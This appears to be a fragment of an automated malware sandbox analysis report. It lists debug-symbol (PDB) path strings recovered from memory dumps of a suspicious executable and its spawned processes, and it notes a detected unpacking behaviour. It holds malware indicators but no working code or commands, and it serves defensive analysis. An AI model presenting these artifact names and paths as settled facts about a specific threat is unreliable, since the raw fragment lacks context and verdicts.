Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\eny List\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556774032.0000000003341000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2561102294.0000000003351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\( source: Z4CYGTBlj7.exe, 00000005.00000003.2369926305.00000000031A1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ixx source: Z4CYGTBlj7.exe, 00000005.00000003.2460374897.00000000032C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\rer\ source: Z4CYGTBlj7.exe, 00000005.00000003.2539766049.0000000003551000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2540961975.0000000003568000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539404229.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\wif lijozilog\lonoderedes.pdb source: Z4CYGTBlj7.exe, 00000000.00000000.1995762392.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000000.00000002.2001023248.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000001.00000000.1998553479.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000004.00000000.2018931300.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000004.00000002.2024762009.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000005.00000000.2022256294.0000000000411000.00000002.00000001.01000000.00000003.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2117861293.00000000096E0000.00000004.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000000.2038844502.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2044416553.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000007.00000000.2042501050.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 0000000C.00000000.2147328302.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2171346540.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 0000000D.00000000.2167220763.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2433512512.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000016.00000000.2426386306.0000000000411000.00000002.00000001.01000000.00000007.sdmp, Z4CYGTBlj7.exe, 00000017.00000000.2429677390.0000000000411000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2562434082.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\es\ source: Z4CYGTBlj7.exe, 00000005.00000003.2546900619.00000000032EC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2549836460.0000000003358000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547833104.0000000003351000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554132431.0000000003365000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2419444961.0000000003231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 7C:\baduleropolec\83 roxihapuponab.pdb source: build2.exe, 00000008.00000002.2112430516.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000008.00000000.2109197817.0000000000410000.00000002.00000001.01000000.00000008.sdmp, build2.exe, 00000009.00000000.2110893317.0000000000410000.00000002.00000001.01000000.00000008.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420121632.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\OneDrive\logs\.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2549181963.0000000003669000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2547946587.0000000003632000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2546389007.00000000035A9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\g source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\t source: Z4CYGTBlj7.exe, 00000005.00000003.2553740900.00000000035F9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556645716.0000000003600000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2560402334.0000000003611000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554309548.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\Data\ source: Z4CYGTBlj7.exe, 00000005.00000003.2547379931.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537083604.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2549899576.000000000303A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2562434082.0000000003012000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: Z4CYGTBlj7.exe, Z4CYGTBlj7.exe, 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\zed\ source: Z4CYGTBlj7.exe, 00000005.00000003.2461069714.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461279665.000000000326F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419867627.0000000003246000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461198788.00000000031FB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446840507.0000000003242000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446642574.0000000003231000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2421438707.0000000003277000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419444961.0000000003231000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\\?@ source: Z4CYGTBlj7.exe, 00000005.00000003.2419574743.00000000031CD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\320\s source: Z4CYGTBlj7.exe, 00000005.00000003.2523899510.0000000003206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\q source: Z4CYGTBlj7.exe, 00000005.00000003.2523899510.0000000003206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\a\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556811158.000000000322F000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2553956795.0000000003227000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\e\p7/ source: Z4CYGTBlj7.exe, 00000005.00000003.2523863220.0000000003361000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525021757.0000000003367000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525908479.000000000336B000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530077727.000000000336F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: Z4CYGTBlj7.exe, 00000005.00000003.2113296936.00000000096E0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: sers\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb.bgjs source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\P: source: Z4CYGTBlj7.exe, 00000005.00000003.2488944169.0000000003341000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2460374897.0000000003358000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463547956.0000000003367000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2489212740.0000000003361000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490587220.0000000003370000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2488840983.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461330169.0000000003361000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: Z4CYGTBlj7.exe, 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2553740900.00000000035F9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556645716.0000000003600000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2560402334.0000000003611000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2554309548.0000000003600000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\; source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\xfK source: Z4CYGTBlj7.exe, 00000005.00000003.2523210330.0000000003580000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525238514.00000000035C0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524845137.00000000035B9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: HC:\bup-mage85\kuvovipor\soxecexar-kavah95\wibaju90_tavi60 p.pdb source: build3.exe, 0000000B.00000000.2132410468.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000B.00000002.2245746608.0000000000401000.00000020.00000001.01000000.00000009.sdmp, build3.exe, 0000000F.00000000.2244925743.0000000000401000.00000020.00000001.01000000.00000009.sdmp, mstsca.exe, 00000012.00000000.2256501220.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000012.00000002.2352884069.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, mstsca.exe, 00000013.00000000.2351621244.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2524845137.000000000364C000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\40\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556880672.00000000035B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2539577263.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2536791659.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2541326417.00000000035D8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2535908753.0000000003548000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2524810796.0000000003561000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523654226.0000000003531000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2524603202.0000000003538000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2525484667.0000000003568000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\6; source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ou source: Z4CYGTBlj7.exe, 00000005.00000003.2547379931.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2537083604.0000000003037000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2549899576.000000000303A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\Fnv source: Z4CYGTBlj7.exe, 00000005.00000003.2523612308.0000000003349000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2529895907.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530267766.00000000032DD000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523047573.00000000032C1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2523493769.00000000032F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\( source: Z4CYGTBlj7.exe, 00000005.00000003.2369168917.0000000002FF4000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369363954.0000000002FFF000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2146792053.0000000002FF7000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2369887103.0000000003005000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2194459630.0000000002FFC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: Z4CYGTBlj7.exe, 00000005.00000003.2368895900.000000000300D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\X8t source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2524845137.000000000364C000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530121041.00000000035CB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2532037869.0000000003629000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2530337314.00000000035D1000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531983307.0000000003610000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2531070566.0000000003601000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\c source: Z4CYGTBlj7.exe, 00000005.00000003.2448417612.00000000034E1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003598000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\^j source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446465700.0000000003550000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2462953255.0000000003531000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000009.00000002.2287246670.000000001E8A8000.00000002.00001000.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2287828276.0000000020E29000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\y9 source: Z4CYGTBlj7.exe, 00000005.00000003.2420792420.00000000032DC000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2420960902.00000000032ED000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2419932972.00000000032D9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2460545955.00000000034F0000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2446465700.0000000003509000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003511000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463706676.0000000003521000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: Z4CYGTBlj7.exe, 00000005.00000003.2556880672.00000000035B8000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2556774032.0000000003341000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2561102294.0000000003351000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: Z4CYGTBlj7.exe, 00000005.00000003.2461069714.00000000031E9000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461630356.0000000003598000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2461198788.00000000031FB000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2490428782.0000000003571000.00000004.00000020.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000003.2463635082.0000000003203000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\*a\\ source: Z4CYGTBlj7.exe, 00000005.00000003.2554424224.00000000036B9000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

